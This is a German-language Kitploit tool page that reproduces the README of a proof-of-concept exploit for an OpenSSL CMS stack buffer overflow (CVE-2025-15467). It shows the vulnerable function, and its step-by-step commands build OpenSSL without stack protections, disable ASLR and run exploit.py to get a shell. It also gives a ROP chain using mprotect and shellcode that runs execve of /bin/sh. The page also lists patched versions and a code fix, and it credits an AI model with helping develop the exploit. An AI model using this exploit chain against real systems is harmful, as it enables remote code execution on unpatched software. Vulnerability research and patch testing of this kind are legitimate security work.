Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-15467 — Befehlsausführung PoC für OpenSSL Stack-Buffer-Overflow CVE-2025-15467 | Kitploit
Tools/GitHubGitHub/guiimoraes/cve-2025-15467
SchwachstellenanalyseExploitationReverse EngineeringShellcodeKryptographieLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

Befehlsausführung PoC für OpenSSL Stack-Buffer-Overflow CVE-2025-15467

Repository anzeigen
153vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-15467: OpenSSL CMS AuthEnvelopedData Stack Buffer Overflow

Übersicht

CVE-2025-15467 ist eine kritische Stack-Puffer-Überlauf-Schwachstelle im CMS (Cryptographic Message Syntax) Parsing-Code von OpenSSL. Die Schwachstelle befindet sich in der Funktion evp_cipher_get_asn1_aead_params() bei der Verarbeitung von AES-GCM Initialisierungsvektoren (IVs) in CMS AuthEnvelopedData-Strukturen.

EigenschaftWert
CVE-IDCVE-2025-15467
SchweregradHoch
CVSS8.1+
Betroffene VersionenOpenSSL 3.0 - 3.6 (vor Patches)
AuswirkungRemote Code Execution (RCE)
AngriffsvektorNetzwerk (Parsen bösartiger CMS/S-MIME)
AuthentifizierungKeine erforderlich

Details zur Schwachstelle

Grundursache

Die Schwachstelle befindet sich in crypto/evp/evp_lib.c:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

Der Fehler

  1. iv ist ein fester 16-Byte Stack-Puffer (EVP_MAX_IV_LENGTH = 16)
  2. Der erste Aufruf von ossl_asn1_type_get_octetstring_int() gibt die IV-Länge aus der Datei zurück
  3. Der zweite Aufruf verwendet diese Länge (i) als max_len-Parameter
  4. Wenn i > 16, schreibt die Funktion über den Puffer hinaus → Stack-Puffer-Überlauf

Ausnutzung

Der Überlauf erfolgt während der CMS-Entschlüsselung beim Parsen der GCM-Parameter. Ein Angreifer kann:

  1. Eine bösartige CMS AuthEnvelopedData-Datei mit überdimensionierter IV erstellen
  2. Den Stack-Puffer überlaufen lassen, um die Rücksprungadresse zu überschreiben
  3. Die Ausführung auf vom Angreifer kontrollierten Shellcode umleiten
  4. Remote Code Execution erreichen

Betroffene Anwendungen

Jede Anwendung, die nicht vertrauenswürdige CMS/PKCS#7-Inhalte mit AEAD-Chiffren parst:

  • E-Mail-Clients, die S/MIME-Nachrichten verarbeiten
  • Dokumentensignatur-Anwendungen
  • Zertifikatsverwaltungs-Tools
  • VPN/TLS-Implementierungen, die CMS verwenden
  • Jede Software, die CMS_decrypt() oder ähnliche Funktionen aufruft

Proof of Concept

Voraussetzungen

root@kitploit:~
# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

Oder manuell:

root@kitploit:~
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

Testzertifikat generieren

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

Methode 1: Automatik-Modus (Empfohlen)

Der Exploit kann automatisch Adressen erkennen, wenn ASLR deaktiviert ist:

root@kitploit:~
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

Methode 2: Manuelle Adressen (via GDB)

Falls die automatische Erkennung fehlschlägt, Adressen manuell ermitteln:

root@kitploit:~
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

Beispielausgabe:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

Dann den Exploit generieren:

root@kitploit:~
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

Wie der Exploit funktioniert

  1. Gültige CMS patchen: Eine gültige CMS-Datei wird genommen und die 12-Byte-IV durch eine bösartige Nutzlast ersetzt
  2. Stack überlaufen: Die überdimensionierte IV lässt den 16-Byte-Puffer überlaufen und überschreibt gespeicherte Register und die Rücksprungadresse
  3. ROP-Kette: Verwendet Return-Oriented Programming, um mprotect() aufzurufen und den Stack ausführbar zu machen
  4. Shellcode-Ausführung: Nach mprotect() springt die Ausführung über ein jmp rsp-Gadget zum Shellcode auf dem Stack
  5. Shell: Führt execve("/bin/sh", NULL, NULL) aus, um eine Shell zu starten

ROP-Ketten-Struktur

root@kitploit:~
[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

Dateien

DateiBeschreibung
exploit.pyHauptexploit mit automatischem und manuellem Modus
setup.sh

Gegenmaßnahmen

Für Benutzer

  1. OpenSSL aktualisieren auf gepatchte Versionen:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. Keine nicht vertrauenswürdigen CMS/S-MIME-Inhalte verarbeiten, bis ein Patch angewendet wurde

Für Entwickler

  1. IV-Länge vor dem Kopieren validieren:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. Die korrekte max_len im zweiten Aufruf verwenden:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

Zeitstrahl

DatumEreignis
2025-12-14Schwachstelle an OpenSSL gemeldet
2026-01-27Sicherheitshinweis veröffentlicht
2026-01-27Patches veröffentlicht

Referenzen

  • OpenSSL Security Advisory
  • CVE-2025-15467

Danksagungen

  • Guilherme Moraes (@guiimoraes) – Exploit-Entwicklung
  • Claude Opus 4.5 (Anthropic) – KI-gestützte Forschung & Entwicklung

Haftungsausschluss

Dieser Proof of Concept dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken. Unberechtigter Zugriff auf Computersysteme ist illegal. Verantwortungsvoll nutzen.

Lizenz

MIT-Lizenz – Siehe LICENSE-Datei für Details.

Tool herunterladen
Skript zum Kompilieren der verwundbaren OpenSSL
README.mdDiese Dokumentation
TECHNICAL.mdTechnische Tiefenanalyse der Schwachstelle